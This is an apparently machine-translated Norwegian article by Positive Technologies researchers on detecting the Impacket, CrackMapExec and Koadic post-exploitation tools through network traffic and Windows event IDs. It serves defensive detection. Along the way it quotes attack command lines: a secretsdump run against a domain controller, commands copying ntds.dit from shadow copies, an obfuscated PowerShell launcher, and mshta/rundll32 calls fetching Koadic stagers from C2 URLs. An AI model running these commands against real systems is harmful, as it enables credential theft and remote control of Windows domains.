Slik oppdager du angrep på Windows-infrastruktur: utforske hackerverktøy

Slik oppdager du angrep på Windows-infrastruktur: utforske hackerverktøy

Antall angrep i bedriftssektoren vokser hvert år: for eksempel i 2017 ble det registrert 13 % flere unike hendelser enn i 2016, og ved utgangen av 2018 - 27 % flere hendelserenn i forrige periode. Inkludert de der hovedverktøyet er Windows-operativsystemet. I 2017-2018, APT Dragonfly, APT28, APT MuddyWater utførte angrep på regjeringen og militære organisasjoner i Europa, Nord-Amerika og Saudi-Arabia. Og vi brukte tre verktøy for dette - Impacket, CrackMapExec и Koadic. Kildekoden deres er åpen og tilgjengelig på GitHub.

Det er verdt å merke seg at disse verktøyene ikke brukes til innledende penetrering, men for å utvikle et angrep innenfor infrastrukturen. Angripere bruker dem på forskjellige stadier av angrepet etter penetrering av omkretsen. Dette er forresten vanskelig å oppdage og ofte kun ved hjelp av teknologi identifisere spor av kompromiss i nettverkstrafikk eller verktøy som tillater oppdage aktive handlinger til en angriper etter at han har penetrert infrastrukturen. Verktøyene gir en rekke funksjoner, fra å overføre filer til å samhandle med registeret og utføre kommandoer på en ekstern maskin. Vi gjennomførte en studie av disse verktøyene for å fastslå nettverksaktiviteten deres.

Hva vi trengte å gjøre:

  • Forstå hvordan hackingverktøy fungerer. Finn ut hva angripere trenger å utnytte og hvilke teknologier de kan bruke.
  • Finn det som ikke oppdages av informasjonssikkerhetsverktøy i de første stadiene av et angrep. Rekognoseringsfasen kan hoppes over, enten fordi angriperen er en intern angriper, eller fordi angriperen utnytter et hull i infrastrukturen som ikke var kjent tidligere. Det blir mulig å gjenopprette hele kjeden av handlingene hans, derav ønsket om å oppdage ytterligere bevegelse.
  • Eliminer falske positiver fra inntrengningsdeteksjonsverktøy. Vi må ikke glemme at når visse handlinger oppdages på grunnlag av rekognosering alene, er hyppige feil mulig. Vanligvis i infrastrukturen er det et tilstrekkelig antall måter, som ikke kan skilles fra legitime ved første øyekast, for å få informasjon.

Hva gir disse verktøyene angripere? Hvis dette er Impacket, mottar angripere et stort bibliotek med moduler som kan brukes på forskjellige stadier av angrepet som følger etter å ha brutt omkretsen. Mange verktøy bruker Impacket-moduler internt – for eksempel Metasploit. Den har dcomexec og wmiexec for ekstern kjøring av kommandoer, secretsdump for å hente kontoer fra minnet som er lagt til fra Impacket. Som et resultat vil korrekt påvisning av aktiviteten til et slikt bibliotek sikre påvisning av derivater.

Det er ingen tilfeldighet at skaperne skrev "Powered by Impacket" om CrackMapExec (eller ganske enkelt CME). I tillegg har CME ferdige funksjoner for populære scenarier: Mimikatz for å skaffe passord eller deres hashes, implementering av Meterpreter eller Empire-agent for ekstern utførelse, og Bloodhound om bord.

Det tredje verktøyet vi valgte var Koadic. Det er ganske nylig, det ble presentert på den internasjonale hackerkonferansen DEFCON 25 i 2017 og kjennetegnes av en ikke-standard tilnærming: det fungerer via HTTP, Java Script og Microsoft Visual Basic Script (VBS). Denne tilnærmingen kalles å leve av landet: verktøyet bruker et sett med avhengigheter og biblioteker innebygd i Windows. Skaperne kaller det COM Command & Control, eller C3.

IMPACKET

Impackets funksjonalitet er svært bred, alt fra rekognosering inne i AD og innsamling av data fra interne MS SQL-servere, til teknikker for å skaffe legitimasjon: dette er et SMB-reléangrep, og skaffe ntds.dit-filen som inneholder hashes av brukerpassord fra en domenekontroller. Impacket utfører også kommandoer eksternt ved å bruke fire forskjellige metoder: WMI, Windows Scheduler Management Service, DCOM og SMB, og krever legitimasjon for å gjøre det.

Secretsdump

La oss ta en titt på secretsdump. Dette er en modul som kan målrettes mot både brukermaskiner og domenekontrollere. Den kan brukes til å skaffe kopier av minneområdene LSA, SAM, SECURITY, NTDS.dit, slik at den kan sees på forskjellige stadier av angrepet. Det første trinnet i modulens drift er autentisering via SMB, som krever enten brukerens passord eller hash for automatisk å utføre Pass the Hash-angrepet. Deretter kommer en forespørsel om å åpne tilgang til Service Control Manager (SCM) og få tilgang til registeret via winreg-protokollen, ved hjelp av hvilken en angriper kan finne ut data til grener av interesse og få resultater via SMB.

I fig. 1 ser vi hvordan nøyaktig når du bruker winreg-protokollen, oppnås tilgang ved hjelp av en registernøkkel med en LSA. For å gjøre dette, bruk DCERPC-kommandoen med opcode 15 - OpenKey.

Slik oppdager du angrep på Windows-infrastruktur: utforske hackerverktøy
Ris. 1. Åpne en registernøkkel ved hjelp av winreg-protokollen

Deretter, når tilgang til nøkkelen er oppnådd, lagres verdiene med SaveKey-kommandoen med opcode 20. Impacket gjør dette på en veldig spesifikk måte. Den lagrer verdiene til en fil hvis navn er en streng med 8 tilfeldige tegn vedlagt .tmp. I tillegg skjer videre opplasting av denne filen via SMB fra System32-katalogen (fig. 2).

Slik oppdager du angrep på Windows-infrastruktur: utforske hackerverktøy
Ris. 2. Opplegg for å hente en registernøkkel fra en ekstern maskin

Det viser seg at slik aktivitet på nettverket kan oppdages ved forespørsler til visse registergrener ved hjelp av winreg-protokollen, spesifikke navn, kommandoer og deres rekkefølge.

Denne modulen etterlater også spor i Windows-hendelsesloggen, noe som gjør det enkelt å oppdage. For eksempel som et resultat av å utføre kommandoen

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

I Windows Server 2016-loggen vil vi se følgende nøkkelsekvens av hendelser:

1. 4624 - ekstern pålogging.
2. 5145 - sjekker tilgangsrettigheter til Winreg-fjerntjenesten.
3. 5145 - sjekke filtilgangsrettigheter i System32-katalogen. Filen har det tilfeldige navnet nevnt ovenfor.
4. 4688 - lage en cmd.exe-prosess som starter vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - lage en prosess med kommandoen:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - lage en prosess med kommandoen:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - lage en prosess med kommandoen:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Som mange andre verktøy etter utnyttelse, har Impacket moduler for ekstern kjøring av kommandoer. Vi vil fokusere på smbexec, som gir et interaktivt kommandoskall på en ekstern maskin. Denne modulen krever også autentisering via SMB, enten med et passord eller en passordhash. I fig. I figur 3 ser vi et eksempel på hvordan et slikt verktøy fungerer, i dette tilfellet er det den lokale administratorkonsollen.

Slik oppdager du angrep på Windows-infrastruktur: utforske hackerverktøy
Ris. 3. Interaktiv smbexec-konsoll

Det første trinnet i smbexec etter autentisering er å åpne SCM med OpenSCManagerW-kommandoen (15). Spørringen er bemerkelsesverdig: Maskinnavn-feltet er DUMMY.

Slik oppdager du angrep på Windows-infrastruktur: utforske hackerverktøy
Ris. 4. Be om å åpne Service Control Manager

Deretter opprettes tjenesten ved hjelp av CreateServiceW-kommandoen (12). Når det gjelder smbexec, kan vi se den samme kommandokonstruksjonslogikken hver gang. I fig. 5 grønne indikerer uforanderlige kommandoparametere, gul indikerer hva en angriper kan endre. Det er lett å se at navnet på den kjørbare filen, dens katalog og utdatafilen kan endres, men resten er mye vanskeligere å endre uten å forstyrre logikken til Impacket-modulen.

Slik oppdager du angrep på Windows-infrastruktur: utforske hackerverktøy
Ris. 5. Be om å opprette en tjeneste ved å bruke Service Control Manager

Smbexec etterlater også åpenbare spor i Windows-hendelsesloggen. I Windows Server 2016-loggen for det interaktive kommandoskallet med ipconfig-kommandoen, vil vi se følgende nøkkelsekvens av hendelser:

1. 4697 — installasjon av tjenesten på offerets maskin:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - opprettelse av cmd.exe-prosessen med argumentene fra punkt 1.
3. 5145 - sjekker tilgangsrettigheter til __output-filen i C$-katalogen.
4. 4697 — installasjon av tjenesten på offerets maskin.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - opprettelse av cmd.exe-prosessen med argumentene fra punkt 4.
6. 5145 - sjekker tilgangsrettigheter til __output-filen i C$-katalogen.

Impacket er grunnlaget for utvikling av angrepsverktøy. Den støtter nesten alle protokoller i Windows-infrastrukturen og har samtidig sine egne karakteristiske funksjoner. Her er spesifikke winreg-forespørsler, og bruken av SCM API med karakteristisk kommandoformasjon, og filnavnformatet, og SMB share SYSTEM32.

CRACKMAPEXEC

CME-verktøyet er først og fremst designet for å automatisere de rutinehandlingene som en angriper må utføre for å avansere i nettverket. Den lar deg jobbe sammen med den velkjente Empire-agenten og Meterpreter. For å utføre kommandoer skjult, kan CME tilsløre dem. Ved å bruke Bloodhound (et eget rekognoseringsverktøy) kan en angriper automatisere søket etter en aktiv domeneadministratorøkt.

Bloodhound

Bloodhound, som et frittstående verktøy, muliggjør avansert rekognosering i nettverket. Den samler inn data om brukere, maskiner, grupper, økter og leveres som et PowerShell-skript eller binærfil. LDAP- eller SMB-baserte protokoller brukes til å samle inn informasjon. CME-integrasjonsmodulen lar Bloodhound lastes ned til offerets maskin, kjøre og motta de innsamlede dataene etter utførelse, og dermed automatisere handlinger i systemet og gjøre dem mindre merkbare. Det grafiske skallet Bloodhound presenterer de innsamlede dataene i form av grafer, som lar deg finne den korteste veien fra angriperens maskin til domeneadministratoren.

Slik oppdager du angrep på Windows-infrastruktur: utforske hackerverktøy
Ris. 6. Bloodhound-grensesnitt

For å kjøre på offerets maskin, oppretter modulen en oppgave ved hjelp av ATSVC og SMB. ATSVC er et grensesnitt for arbeid med Windows Task Scheduler. CME bruker NetrJobAdd(1)-funksjonen til å lage oppgaver over nettverket. Et eksempel på hva CME-modulen sender er vist i fig. 7: Dette er et cmd.exe-kommandokall og obfuskert kode i form av argumenter i XML-format.

Slik oppdager du angrep på Windows-infrastruktur: utforske hackerverktøy
Fig.7. Opprette en oppgave via CME

Etter at oppgaven er sendt inn for utførelse, starter offerets maskin selv Bloodhound, og dette kan sees i trafikken. Modulen er preget av LDAP-spørringer for å skaffe standardgrupper, en liste over alle maskiner og brukere i domenet, og skaffe informasjon om aktive brukersesjoner gjennom SRVSVC NetSessEnum-forespørselen.

Slik oppdager du angrep på Windows-infrastruktur: utforske hackerverktøy
Ris. 8. Få en liste over aktive økter via SMB

I tillegg er lansering av Bloodhound på et offers maskin med revisjon aktivert ledsaget av en hendelse med ID 4688 (prosessoppretting) og prosessnavnet «C:WindowsSystem32cmd.exe». Det som er bemerkelsesverdig med det er kommandolinjeargumentene:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Enum_avproducts-modulen er veldig interessant med tanke på funksjonalitet og implementering. WMI lar deg bruke WQL-spørringsspråket til å hente data fra forskjellige Windows-objekter, som i hovedsak er det denne CME-modulen bruker. Den genererer forespørsler til klassene AntiSpywareProduct og AntiМirusProduct om beskyttelsesverktøyene som er installert på offerets maskin. For å få de nødvendige dataene kobles modulen til rootSecurityCenter2-navneområdet, og genererer deretter en WQL-spørring og mottar et svar. I fig. Figur 9 viser innholdet i slike forespørsler og svar. I vårt eksempel ble Windows Defender funnet.

Slik oppdager du angrep på Windows-infrastruktur: utforske hackerverktøy
Ris. 9. Nettverksaktivitet til enum_avproducts-modulen

Ofte kan WMI-revisjon (Trace WMI-Activity), hvis hendelser du kan finne nyttig informasjon om WQL-spørringer, være deaktivert. Men hvis det er aktivert, og hvis enum_avproducts-skriptet kjøres, lagres en hendelse med ID 11. Den vil inneholde navnet på brukeren som sendte forespørselen og navnet i rootSecurityCenter2-navneområdet.

Hver av CME-modulene hadde sine egne artefakter, det være seg spesifikke WQL-spørringer eller opprettelsen av en bestemt type oppgave i en oppgaveplanlegger med obfuskasjon og Bloodhound-spesifikk aktivitet i LDAP og SMB.

KOADIC

Et særtrekk ved Koadic er bruken av JavaScript og VBScript-tolker innebygd i Windows. Slik sett følger den den som lever av land-trenden - det vil si at den ikke har noen eksterne avhengigheter og bruker standard Windows-verktøy. Dette er et verktøy for full Command & Control (CnC), siden det etter infeksjon er installert et "implantat" på maskinen, slik at den kan kontrolleres. En slik maskin, i Koadisk terminologi, kalles en "zombie". Hvis det ikke er tilstrekkelige privilegier for full drift på offerets side, har Koadic muligheten til å øke dem ved å bruke User Account Control bypass (UAC bypass) teknikker.

Slik oppdager du angrep på Windows-infrastruktur: utforske hackerverktøy
Ris. 10. Koadic Shell

Offeret må starte kommunikasjon med Command & Control-serveren. For å gjøre dette må hun kontakte en tidligere forberedt URI og motta Koadic-hovedkroppen ved hjelp av en av stagers. I fig. Figur 11 viser et eksempel for mshta stager.

Slik oppdager du angrep på Windows-infrastruktur: utforske hackerverktøy
Ris. 11. Initialisere en økt med CnC-serveren

Basert på responsvariabelen WS blir det klart at kjøring skjer gjennom WScript.Shell, og variablene STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE inneholder nøkkelinformasjon om parameterne for gjeldende sesjon. Dette er det første forespørsel-svar-paret i en HTTP-forbindelse med en CnC-server. Påfølgende forespørsler er direkte relatert til funksjonaliteten til de kalte modulene (implantatene). Alle Koadic-moduler fungerer kun med en aktiv økt med CnC.

Mimikatz

Akkurat som CME jobber med Bloodhound, jobber Koadic med Mimikatz som et eget program og har flere måter å starte det på. Nedenfor er et forespørsel-svar-par for nedlasting av Mimikatz-implantatet.

Slik oppdager du angrep på Windows-infrastruktur: utforske hackerverktøy
Ris. 12. Overfør Mimikatz til Koadic

Du kan se hvordan URI-formatet i forespørselen har endret seg. Den inneholder nå en verdi for csrf-variabelen, som er ansvarlig for den valgte modulen. Ikke ta hensyn til navnet hennes; Vi vet alle at CSRF vanligvis forstås annerledes. Svaret var den samme hoveddelen av Koadic, som kode relatert til Mimikatz ble lagt til. Den er ganske stor, så la oss se på hovedpunktene. Her har vi Mimikatz-biblioteket kodet i base64, en serialisert .NET-klasse som vil injisere det, og argumenter for å starte Mimikatz. Utførelsesresultatet overføres over nettverket i klartekst.

Slik oppdager du angrep på Windows-infrastruktur: utforske hackerverktøy
Ris. 13. Resultat av å kjøre Mimikatz på en ekstern maskin

Exec_cmd

Koadic har også moduler som kan utføre kommandoer eksternt. Her vil vi se den samme URI-genereringsmetoden og de kjente sid- og csrf-variablene. Når det gjelder exec_cmd-modulen, legges kode til kroppen som er i stand til å utføre skallkommandoer. Nedenfor vises slik kode i HTTP-svaret til CnC-serveren.

Slik oppdager du angrep på Windows-infrastruktur: utforske hackerverktøy
Ris. 14. Implantatkode exec_cmd

GAWTUUGCFI-variabelen med det kjente WS-attributtet er nødvendig for kjøring av kode. Med sin hjelp kaller implantatet skallet, og behandler to grener av kode - shell.exec med retur av utdatastrømmen og shell.run uten å returnere.

Koadic er ikke et typisk verktøy, men det har sine egne artefakter som det kan bli funnet i legitim trafikk:

  • spesiell dannelse av HTTP-forespørsler,
  • bruker winHttpRequests API,
  • opprette et WScript.Shell-objekt via ActiveXObject,
  • stort kjørbart organ.

Den første tilkoblingen initieres av stager, så det er mulig å oppdage aktiviteten gjennom Windows-hendelser. For mshta er dette hendelse 4688, som indikerer opprettelsen av en prosess med startattributtet:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Mens Koadic kjører, kan du se andre 4688-hendelser med attributter som perfekt karakteriserer den:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Funn

Å leve av landtrenden blir stadig mer populær blant kriminelle. De bruker verktøyene og mekanismene som er innebygd i Windows for deres behov. Vi ser i økende grad populære verktøy Koadic, CrackMapExec og Impacket som følger dette prinsippet i APT-rapporter. Antall gafler på GitHub for disse verktøyene vokser også, og nye dukker opp (det er allerede omtrent tusen av dem nå). Trenden blir stadig mer populær på grunn av sin enkelhet: angripere trenger ikke tredjepartsverktøy; de er allerede på ofrenes maskiner og hjelper dem omgå sikkerhetstiltak. Vi fokuserer på å studere nettverkskommunikasjon: hvert verktøy beskrevet ovenfor etterlater sine egne spor i nettverkstrafikken; detaljerte studier av dem tillot oss å lære ut produktet vårt PT Network Attack Discovery oppdage dem, noe som til slutt bidrar til å undersøke hele kjeden av cyberhendelser som involverer dem.

Forfattere:

  • Anton Tyurin, leder for eksperttjenesteavdelingen, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, ekspert, PT Expert Security Center, Positive Technologies

Kilde: www.habr.com

Legg til en kommentar